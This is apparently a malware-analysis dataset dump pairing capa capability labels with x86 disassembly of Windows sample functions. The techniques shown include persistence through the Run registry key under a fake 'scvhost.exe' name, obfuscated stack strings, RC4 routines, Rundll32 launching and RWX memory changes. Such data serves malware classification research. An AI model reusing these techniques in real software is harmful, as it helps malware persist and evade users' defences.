joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bbe4
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, eax
mov esi, edx
dec esi
test esi, esi
jl 0x40bc41
inc esi
xor ebx, ebx
cmp ebx, 1
jne 0x40bc0a
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_Sleep
jmp 0x40bc18
cmp ebx, 1
jle 0x40bc18
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov eax, edi
call fcn.00403880
push eax
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x40bc41
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x40bc41
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x40bc41
inc ebx
dec esi
jne 0x40bbfa
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x40c040
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x78]
xor eax, eax
push ebp
push 0x40c132
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40c148
push esi
push 0x40c154
push edi
lea eax, [ebp - 8]
mov edx, 4
call fcn.0040377c
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402764
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403880
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x40c0c4
mov al, 0x62
call fcn.0040bc84
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x40c0db
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 1
push 0
push 0
push 0
push ebx
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x40c0cf
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40c0db
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c139
lea eax, [ebp - 8]
call fcn.00403460
ret
Function at 0x40c1f4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40c2a8
jmp 0x40c29d
cmp dword [esi + 0x10], 0x1000
jne 0x40c289
test byte [esi + 0x15], 1
jne 0x40c289
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x40c248
cmp eax, 2
je 0x40c248
cmp eax, 0x10
je 0x40c248
cmp eax, 0x20
jne 0x40c25d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40c25d
mov bl, 1
xor ebp, ebp
jmp 0x40c26e
mov eax, dword [esi]
add eax, ebp
call fcn.0040c1ec
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40c261
test bl, bl
je 0x40c289
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40c2a8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40c220
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x10001310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x10009738
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1ac
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1bc], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1bc], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1bc], 2
call fcn.10001000
lea eax, [esp + 0x24]
mov byte [esp + 0x1bc], 3
push eax
push 0x202
mov dword [esi], 0x1000a230
call dword [0x1000df98]
push 0
push 0
push 1
push 0
call dword [0x1000dec4]
lea ecx, [esp + 8]
push 3
lea edx, [esi + 0x54]
push ecx
push edx
mov dword [esi + 0x4c], eax
mov byte [esi + 0x57], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [esp + 0x14], 0x47
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0x20
call dword [0x1000df88]
mov al, 0x50
mov cl, 0x74
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov al, 0x6f
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x21], al
mov byte [esp + 0x23], al
mov byte [esp + 0x26], al
mov byte [esp + 0x28], cl
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
mov byte [esp + 0xc], 0x45
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x6e
mov byte [esp + 0x10], 0x68
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x16], 0x63
mov byte [esp + 0x18], 0x6c
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1d], 0x59
mov byte [esp + 0x1e], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
push ecx
push eax
push 0x1000d410
mov ecx, esi
call fcn.10001d60
mov ecx, dword [esp + 0x1b4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1b8
ret

Function at 0x10001d60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x10001d8a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x10001dda
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x10001db9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc
Function at 0x10001e00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x10001e8c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x10001e2b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x10001e48
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x10001e76
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x10001e1a
pop ebp
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x10001fa0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [esp + 0x1c]
push esi
push edi
mov eax, dword [ebx]
push 0
mov edi, ecx
push 0x80
mov ecx, dword [ebx + 4]
push 3
push 0
push 2
lea edx, [edi + 0x18]
push 0x40000000
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x40], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x24]
mov esi, eax
lea eax, [esp + 0xc]
push 0
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x10]
push 0
add eax, 0xfffffff8
push edx
add ebx, 8
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x24]
add eax, ecx
mov ecx, dword [0x1000d510]
mov dword [esp + 0x24], eax
lea edx, [esp + 0xc]
push 4
lea eax, [esp + 0x19]
push edx
push eax
mov byte [esp + 0x20], 0xdb
call fcn.100070d0
lea ecx, [esp + 0x24]
push 4
lea edx, [esp + 0x1d]
push ecx
mov ecx, dword [0x1000d510]
push edx
call fcn.100070d0
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push 9
push eax
mov ecx, edi
call fcn.10006470
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x10002070
Capabilities:
Get file size

Disassembly:
sub esp, 0x18
push esi
push edi
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [edi + 0x18]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100020b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10002140
pop edi
pop esi
add esp, 0x18
ret 4
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000d510]
lea edx, [esp + 8]
push 4
lea eax, [esp + 0x15]
push edx
push eax
mov byte [esp + 0x1c], 0xdd
call fcn.100070d0
lea ecx, [esp + 0xc]
push 4
lea edx, [esp + 0x19]
push ecx
mov ecx, dword [0x1000d510]
push edx
call fcn.100070d0
mov ecx, dword [0x1000d510]
push 4
lea eax, [esp + 0x1d]
push 0x1000d514
push eax
call fcn.100070d0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push 0xd
push ecx
mov ecx, edi
call fcn.10006470
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x10003060
Capabilities:
Get common file path

Disassembly:
push ecx
xor eax, eax
push edi
push eax
mov ecx, 0x41
mov edi, 0x1000db50
push 0x1a
push 0x1000db50
push eax
rep stosd dword es:[edi], eax
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x1000d510]
lea eax, [esp + 6]
push eax
push 0x1000db50
call fcn.10007100
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, dword [0x1000d510]
push 0x1000db50
call fcn.10007100
pop edi
pop ecx
ret

Function at 0x10003160
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
mov al, byte [0x1000c94c]
push esi
mov byte [esp + 4], al
mov eax, dword [0x1000dc58]
xor esi, esi
test eax, eax
jne 0x1000325b
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10003060
add esp, 4
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100031ab
push 0x7c
push 0x1000db50
call fcn.10002f80
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0x80
push 3
push 0
push 0
push bind
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000db48], eax
jne 0x100031d7
xor eax, eax
pop esi
pop ecx
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1000d740], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1000d740]
push 0
push 0x1000db44
push edx
mov dword [0x1000dc54], eax
push eax
mov eax, dword [0x1000db48]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x1000db48]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1000d740]
mov eax, dword [0x1000dc54]
push edx
push eax
call fcn.100030c0
mov ecx, dword [0x1000dc54]
push ecx
call fcn.100064e0
add esp, 0xc
mov dword [0x1000db4c], eax
test eax, eax
jne 0x1000324f
pop esi
pop ecx
ret
mov dword [0x1000dc58], 1
jmp 0x10003260
mov eax, dword [0x1000db4c]
mov edx, dword [esp + 0x10]
push edx
push eax
call fcn.10006960
add esp, 8
test eax, eax
je 0x10003296
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
push ecx
mov ecx, dword [0x1000c268]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x1000dc64
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x100033e0
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [0x1000de68]
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push ecx
call dword [0x1000de9c]
mov eax, dword [esp + 0x20c]
test eax, eax
je 0x10003426
lea edx, [esp]
push eax
push edx
lea eax, [esp + 0x10c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000df08]
add esp, 0x10
jmp 0x10003441
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.Rundll32___s__Uninstall
push edx
call dword [0x1000df08]
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000e0e8], 1
add esp, 0x208
ret
Function at 0x100036f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
push 0x170
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [0x1000df88]
mov ecx, 0x59
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x284]
stosw word es:[edi], ax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000375c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov eax, dword [esp + 0x2f0]
lea edx, [esp + 0xc]
push 0
add eax, 0xfffffe90
push edx
add ebx, 0x170
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000378c
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x1000deac]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100037cb
lea ecx, [esp + 0x180]
lea edx, [esp + 0x284]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s__s
push eax
call dword [0x1000df08]
add esp, 0x10
jmp 0x100037de
lea ecx, [esp + 0x284]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10003817
dec eax
je 0x1000380e
sub eax, 2
jne 0x10003826
lea eax, [esp + 0x10]
push eax
call fcn.100033e0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x1000381e
lea edx, [esp + 0x10]
push 5
push edx
call fcn.10003470
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10003d40
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10003dec
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret
Function at 0x10003f80
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebp
push 0
call dword [0x1000dfd0]
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 0x1000a2c0
push 1
push ebp
push 0x1000a300
mov dword [esp + 0x20], ebp
call dword [0x1000dfd8]
test eax, eax
jge 0x10003fb5
xor eax, eax
pop ebp
add esp, 0x24
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push 0
mov dword [esp + 0xc], 0
mov ecx, dword [eax]
push edx
push 0x1000a2f0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000408a
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
push edx
lea edx, [esp + 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004080
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push 0x1000a2a8
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x1000405a
lea eax, [esp + 0x20]
push eax
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x10004049
inc ebp
lea eax, [esp + 0x20]
push eax
call ebx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1000400b
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [0x1000dfd4]
mov eax, ebp
pop ebp
add esp, 0x24
ret
Function at 0x10004ac0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10004b03
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push bind
call ebp
test eax, eax
je 0x10004b2e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push bind
call ebp
test eax, eax
je 0x10004bab
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1000c5e8
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004c28
lea eax, [esp + 0x6c]
push 0x1000c5e4
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004c28
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1000c5e0
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004c37
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10004c5f
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x10005470
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x8a4
lea ecx, [esp + 0x2a0]
push esi
mov esi, dword [esp + 0x8b0]
push 0x100
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push 0x100
lea eax, [esp + 0x2b4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 0x2a4]
push 0x100053d0
push ecx
call dword [0x1000df24]
test eax, eax
mov dword [0x1000dfe0], eax
je 0x10005686
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10005370
push 0
push 0
push 4
call fcn.10005370
add esp, 0x18
lea edx, [esp + 8]
mov dword [esp + 8], 0x94
push edx
call dword [0x1000ded8]
cmp dword [esp + 0x18], 2
jne 0x10005666
cmp dword [esp + 0xc], 6
jae 0x1000551b
call sym.MainDll.dll_MainThread
jmp 0x10005666
lea eax, [esp + 0x9c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x9c]
push 0x1000c808
push ecx
lea edx, [esp + 0xa4]
push str._s_s.exe
push edx
call dword [0x1000df08]
add esp, 0x10
lea eax, [esp + 0x1a0]
push 0x104
push eax
call dword [0x1000dee8]
lea ecx, [esp + 0x1a0]
push str.Rundll32.exe
push ecx
call dword [0x1000deb4]
lea edx, [esp + 0x9c]
push 1
lea eax, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x9c]
push ecx
call fcn.10008a90
add esp, 4
test eax, eax
jne 0x100055bc
lea edx, [esp + 0x1a0]
lea eax, [esp + 0x9c]
push edx
push eax
call dword [0x1000df08]
add esp, 8
mov edx, dword [0x1000de68]
lea ecx, [esp + 0x3a4]
push 0x104
xor esi, esi
push ecx
push edx
mov dword [esp + 0x10], esi
call dword [0x1000de9c]
lea eax, [esp + 0x3a4]
lea ecx, [esp + 0x9c]
push eax
push ecx
lea edx, [esp + 0x4b0]
push str._s___s__MainThread
push edx
call dword [0x1000df08]
add esp, 0x10
push 0x3e8
call dword [0x1000deb0]
lea eax, [esp + 4]
push eax
push esi
call dword [0x1000dedc]
cmp dword [esp + 4], 0x103
je 0x10005647
push esi
call dword [0x1000deac]
push 0xbb8
call dword [0x1000deb0]
lea ecx, [esp + 0x4a8]
push ecx
call fcn.100027e0
add esp, 4
mov esi, eax
mov eax, dword [0x1000dfdc]
cmp eax, 3
je 0x10005656
cmp eax, 1
jne 0x10005602
push 0xffffffffffffffff
push esi
call dword [0x1000debc]
push esi
call dword [0x1000deac]
push 0x64
call dword [0x1000deb0]
mov eax, dword [0x1000dfdc]
cmp eax, 3
je 0x10005686
cmp eax, 1
je 0x10005686
mov eax, dword [0x1000e0e8]
test eax, eax
je 0x10005666
pop esi
add esp, 0x8a4
ret 8
Function at 0x10005690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x4f
lea ecx, [esp + 4]
mov byte [esp + 5], al
mov byte [esp + 0xd], al
lea eax, [esp]
mov byte [esp + 4], 0x53
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x42
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005701
xor eax, eax
add esp, 0x14
ret 0xc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
cmp eax, 1
mov dword [0x1000de68], edx
jne 0x10005749
mov ecx, 0x1000de70
call fcn.10006b50
push 0x946
push 0x458
push 0x1000c7a0
call fcn.100049e0
push 0x946
push 0x458
push 0x1000c7a0
call fcn.10004a30
add esp, 0x18
mov eax, 1
add esp, 0x14
ret 0xc